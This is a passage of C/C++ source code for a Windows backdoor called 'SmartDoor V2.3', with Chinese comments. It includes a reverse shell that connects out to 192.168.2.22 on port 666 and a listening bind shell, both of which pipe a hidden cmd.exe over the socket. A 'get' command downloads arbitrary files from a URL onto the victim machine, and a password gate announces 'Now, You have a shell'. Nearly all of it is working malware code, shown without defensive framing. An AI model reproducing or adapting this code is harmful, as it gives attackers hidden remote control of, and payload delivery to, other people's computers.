LogToFile( "WSAStartup " , GetLastError() );
exit(-1);
}
SOCKET ssock;
ssock=socket(AF_INET,SOCK_STREAM,0);
if(ssock==INVALID_SOCKET){
LogToFile( "socket " , GetLastError() );
exit(-1);
}
//SO_REUSEADDR:允许重用本地地址和端口 int
BOOL flag=TRUE;
ret=setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(char*)&flag,sizeof(flag));
if(ret==SOCKET_ERROR){
LogToFile( "setsockopt " , GetLastError() );
exit(-1);
}
struct sockaddr_in sin;
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=inet_addr("192.168.2.22");
sin.sin_port=htons(666);
//向客户端发出连接请求,Connect函数的第一个参数是发出请求的客户端的套接字,第二个参数是服务端的地址结构,第三个参数是Server地址结构的长度。
if (connect(ssock, (struct sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
{
LogToFile( "connect" , GetLastError() );
}
else
{
HANDLE h=CreateThread(NULL,0,ExeCmdShell,&ssock,0,0);
WaitForSingleObject(h,INFINITE);
}
closesocket(ssock);
WSACleanup();
}
void ShellServer()
{
int ret;
WSADATA wsa;
ret=WSAStartup(0x0202,&wsa);
if(ret==INVALID_SOCKET)
{
LogToFile( "WSAStartup " , GetLastError() );
exit(-1);
}
SOCKET ssock;
ssock=socket(AF_INET,SOCK_STREAM,0);
if(ssock==INVALID_SOCKET){
LogToFile( "socket " , GetLastError() );
exit(-1);
}
//SO_REUSEADDR:允许重用本地地址和端口 int
BOOL flag=TRUE;
ret=setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(char*)&flag,sizeof(flag));
if(ret==SOCKET_ERROR){
LogToFile( "setsockopt " , GetLastError() );
exit(-1);
}
struct sockaddr_in sin;
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=htonl(ADDR_ANY);
sin.sin_port=htons(g_nPort);
ret=bind(ssock,(struct sockaddr*)&sin,sizeof(sin));
if(ret==SOCKET_ERROR){
LogToFile( "bind " , GetLastError() );
exit(-1);
}
ret=listen(ssock,MAXLINK);
if(ret==SOCKET_ERROR)
{
LogToFile( "listen " , GetLastError() );
exit(-1);
}
while(1)
{
//csock是ssock接受 accept的数据
SOCKET csock=accept(ssock,NULL,NULL);
if(csock==INVALID_SOCKET)
{
LogToFile( "accept" , GetLastError() );
}
HANDLE h=CreateThread(NULL,0,ExeCmdShell,&csock,0,0);
if(h!=NULL)
{
WaitForSingleObject(h,INFINITE);
closesocket(csock);
CloseHandle(h);
}
}
closesocket(ssock);
WSACleanup();
}
//ExeCmdShell: 建立两个管道,实现交互通信 .
DWORD WINAPI ExeCmdShell(LPVOID lp)
{
SOCKET *csock=(SOCKET*)lp;
char *exitok = "\r\n Exit OK! Bye byte!\r\n";
unsigned long lbyte;
char szBuf[BUFLEN]={0};
int ret;
//验证
if(Passport(csock)==false)
{
LogToFile( "Passport", GetLastError() );
closesocket(*csock);
return -1;
}
SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
STARTUPINFO si;
memset(&si,0,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
//server:从hrp1读,向hwp2写
//client:从hrp2读,向hwp1写
HANDLE hrp1,hwp1,hrp2,hwp2;
CreatePipe(&hrp1,&hwp1,&sa,0);
CreatePipe(&hrp2,&hwp2,&sa,0);
si.hStdInput=hrp1;
si.hStdOutput=hwp2;
si.hStdError=hwp2;
char szAPP[MAX_PATH] = {0};
GetSystemDirectory(szAPP,MAX_PATH-1);
PROCESS_INFORMATION pi;
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &si, &pi) == 0)
{
LogToFile( "CreateProcess", GetLastError() );
return -1;
}
while(1)
{
//client:从hrp2读,向hwp1写,通过csock传输
//csock是ssock接受 accept的数据
lbyte = 0;
memset(szBuf,0,sizeof(szBuf));
int i=0;
while(i<3)
{
PeekNamedPipe(hrp2,szBuf,BUFLEN,&lbyte,0,0);
if(lbyte)
{
if(0==ReadFile(hrp2,szBuf,lbyte,&lbyte,0))
{
break;
}
szBuf[lbyte] = 0;
LogToFile( "cmd+++++++++++++++++" );
LogToFile( szBuf );
lbyte = send(*csock,szBuf,lbyte,0);
if (lbyte <= 0)
{
break;
}
}
else
{
Sleep(50);
i++;
continue;
}
}
FD_SET fde;
FD_ZERO(&fde);
FD_SET(*csock,&fde);
struct timeval tv={0,50};
ret=select(0,NULL,NULL,&fde,&tv);//返回exceptfds 有问题的个数
if (ret > 0)
{
break;
}
ret=recv(*csock,szBuf,BUFLEN,0);
if(!ret) break;
szBuf[ret] = 0;
LogToFile( "recv----------------" );
LogToFile( szBuf );
if (!strncmp(szBuf,"get", 3))
{
char szUrl[MAX_PATH] = {0};
//获得执行文件名
char *szFileName = szBuf + 4;
for(;*szFileName!=' ';szFileName++)
NULL;
szFileName++;
char szFilePath[MAX_PATH] = {0};
strncpy(szFilePath, szFileName, strlen(szFileName) - 1);
strncpy(szUrl,szBuf + 4, strlen(szBuf) - strlen(szFileName) -4 -1);
LogToFile( "get----------------" );
LogToFile(szUrl);
LogToFile( szFileName );
LogToFile( szFilePath );
HRESULT hr;
hr = URLDownloadToFile(0, szUrl, szFilePath, 0, 0);
if(hr!=S_OK)
send(*csock, "下载文件失败!", strlen("下载文件失败!"), 0);
else
send(*csock, "下载文件成功!", strlen("下载文件成功!"), 0);
LogToFile( "URLDownloadToFile", GetLastError() );
WriteFile(hwp1,"\r\n",2,&lbyte,0);
continue;
}
WriteFile(hwp1,szBuf,ret,&lbyte,0);
if(!strncmp(szBuf,"exit", 4) || !strncmp(szBuf,"shut", 4))
{
// 写退出信息
send(*csock, exitok, strlen(exitok), 0);
break;
}
Sleep(300);
}
//杀死cmd进程并关闭管道
if (!TerminateProcess( pi.hProcess, 0 ))
{
LogToFile( "TerminateProcess", GetLastError() );
}
CloseHandle( hrp1 );
CloseHandle( hrp2 );
CloseHandle( hwp1 );
CloseHandle( hwp2 );
return 0;
}
bool Passport(SOCKET *csock)
{
#ifdef _MYEXE
char *messages = "\r\n========== SmartDoor exe V2.3 ==========\
\r\n========== Code by dream2fly ==========\
\r\n========== Welcome to [url]Http://www.dream2fly.net[/url] ==========\r\n";
#else
char *messages = "\r\n========== SmartDoor dll V2.3 ==========\
\r\n========== Code by dream2fly ==========\
\r\n========== Welcome to [url]Http://www.dream2fly.net[/url] ==========\r\n";
#endif
char *getpass = "\r\nPlease input your password:";
char *passok = "\r\nLogin success!Now, You have a shell^_^\r\n\n";
char *passwrong = "\r\nSorry,your password is wrong.Please try again..";
char *userwrong = "\r\nSorry,you have tried more than three times,byebye!\r\n";
char Buf[1024]={0};
unsigned int count;
//设置超时
int ntime=50000;
int ret=setsockopt(*csock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
if(ret==SOCKET_ERROR)
{
LogToFile( "Passport->setsockopt", GetLastError() );
exit(-1);
}
// 显示版权,验证密码
send(*csock,messages,strlen(messages),0);
send(*csock,getpass,strlen(getpass),0);
Sleep(10000);
//接收数据
recv(*csock,Buf,1024,0);
count=0;
while(!(strstr(Buf, PASSWORD)))
{
count++;
if(count>3)
{
send(*csock, userwrong, strlen(userwrong), 0);
return false;
//DisconnectEx(*csock, NULL ,0 ,0);
}
//如果密码错误,写密码错误信息
send(*csock, passwrong, strlen(passwrong), 0);
//继续验证密码
send(*csock,getpass,strlen(getpass),0);
Sleep(8000);
//接收数据
memset(Buf,0,1024);
recv(*csock,Buf,1024,0);
}
//通过验证
send(*csock, passok, strlen(passok), 0);
return true;
}
// This process is a service or is not ?
DWORD IsService( BOOL& isService )
{
DWORD pID = GetCurrentProcessId();
HANDLE hProcessToken = NULL;
DWORD groupLength = 50;
PTOKEN_GROUPS groupInfo = NULL;
SID_IDENTIFIER_AUTHORITY siaNt = SECURITY_NT_AUTHORITY;
PSID pInteractiveSid = NULL;
PSID pServiceSid = NULL;
DWORD dwRet = NO_ERROR;
// reset flags
BOOL isInteractive = FALSE;
isService = FALSE;
DWORD ndx;
HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pID );
// open the token
if (!::OpenProcessToken( hProcess, TOKEN_QUERY, &hProcessToken) )
{
dwRet = ::GetLastError();
goto closedown;
}
// allocate a buffer of default size
groupInfo = (PTOKEN_GROUPS)::LocalAlloc(0, groupLength);
if (groupInfo == NULL)
{
dwRet = ::GetLastError();
goto closedown;
}
// try to get the info
if (!::GetTokenInformation(hProcessToken, TokenGroups,
groupInfo, groupLength, &groupLength))
{
// if buffer was too small, allocate to proper size, otherwise error
if (::GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
dwRet = ::GetLastError();
goto closedown;
}
::LocalFree(groupInfo);
groupInfo = (PTOKEN_GROUPS)::LocalAlloc(0, groupLength);
if (groupInfo == NULL)
{
dwRet = ::GetLastError();
goto closedown;
}
if (!GetTokenInformation(hProcessToken, TokenGroups,
groupInfo, groupLength, &groupLength))
{
dwRet = ::GetLastError();
goto closedown;
}
}
// create comparison sids
if (!AllocateAndInitializeSid(&siaNt, 1, SECURITY_INTERACTIVE_RID,
0, 0, 0, 0, 0, 0, 0, &pInteractiveSid))
{
dwRet = ::GetLastError();
goto closedown;
}
if (!AllocateAndInitializeSid(&siaNt, 1, SECURITY_SERVICE_RID,
0, 0, 0, 0, 0, 0, 0, &pServiceSid))
{
dwRet = ::GetLastError();
goto closedown;
}
// try to match sids
for (ndx = 0; ndx < groupInfo->GroupCount ; ndx += 1)
{
SID_AND_ATTRIBUTES sanda = groupInfo->Groups[ndx];
PSID pSid = sanda.Sid;
if (::EqualSid(pSid, pInteractiveSid))
{
isInteractive = TRUE;
isService = FALSE;
break;
}
else if (::EqualSid(pSid, pServiceSid))
{
isService = TRUE;
isInteractive = FALSE;
break;
}
}
if ( !( isService || isInteractive ) )
isService = TRUE;
closedown:
if ( pServiceSid )
::FreeSid( pServiceSid );
if ( pInteractiveSid )
::FreeSid( pInteractiveSid );
if ( groupInfo )
::LocalFree( groupInfo );
if ( hProcessToken )
::CloseHandle( hProcessToken );
if ( hProcess )
::CloseHandle( hProcess );
return dwRet;
}
///////////////////////////////////////////////////////////////////////////////
//记录日志函数
///////////////////////////////////////////////////////////////////////////////
#ifdef _DEBUG
void LogToFile(const char *str, int nErrNo)
{
static char DEBUG_LOG[MAX_PATH] = "D:\\编程资料\\projects\\SDoor\\SmartDoor.log";
FILE *fp;
fp = fopen( DEBUG_LOG, "a" );
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_InsertS,
NULL,
nErrNo,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf,
0,
NULL
);
char szErrBuf[BUFLEN] = { 0 };
sprintf( szErrBuf, "[SmartLog]\r\nErrorFun = -|%s|-\r\nErrorNum = %d\r\nErrorMsg = %s\r\n",str, nErrNo, (LPCTSTR)lpMsgBuf);
fputs(szErrBuf, fp );
fclose( fp );
LocalFree (lpMsgBuf);
//printf(szErrBuf);
}
#else
void LogToFile(const char *str , int nErrNo)
{
;
}
#endif